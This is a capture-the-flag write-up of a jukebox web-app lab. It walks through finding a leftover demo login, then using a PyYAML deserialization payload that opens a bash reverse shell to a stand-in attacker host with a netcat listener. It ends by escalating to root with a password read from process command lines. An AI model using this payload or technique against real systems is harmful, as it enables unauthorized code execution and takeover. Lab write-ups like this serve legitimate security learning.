In this post · 2 sections

Hacker Holidays Day 5: Beach Bar

This was my first ever pentesting room, so it took me far longer than it looks. Thanks to Djalil Ayed, whose video and writeup helped a lot, and to Marjan Sterjev for the tip that got me to root.

A DJ jukebox web app takes song requests from anyone with a phone. Whoever built it left a demo login switched on and a playlist feature that trusts input too much.

Getting in

nmap showed two ports, SSH and the web app on 80 (gunicorn). I viewed the login page source and found a comment the developer forgot to delete:

Spoiler: the leftover demo login

dj / dj, swap this before the season starts (ticket BAR-7)

I logged in with dj / dj and landed on a DJ dashboard. It had an Import button that takes a set as a YAML file. A feature that loads raw YAML from a logged in user is worth testing for code execution. Listener up:

nc -lvnp 4444

Then into the Import box:

Spoiler: the YAML deserialization payload
playlist:
  name:
    !!python/object/apply:subprocess.check_output [
      ['bash', '-c', 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'],
    ]
  tracks: []

The app used PyYAML’s unsafe loader, so that tag ran a command. I got a reverse shell as bartender, stabilised it, and grabbed the user flag:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Getting root

I did not get this one alone. Marjan Sterjev’s comment on Djalil’s LinkedIn post pointed at the running processes:

Spoiler: where the root password hides
ps aux | grep python

The last column, COMMAND, shows the full command line that started each process. Some scripts get launched with a password baked into the arguments, sitting there in plain text. One python process had exactly that, and it was the sudo password for root. su root, typed it in, and the second flag was at /root/root.txt. Both redacted here.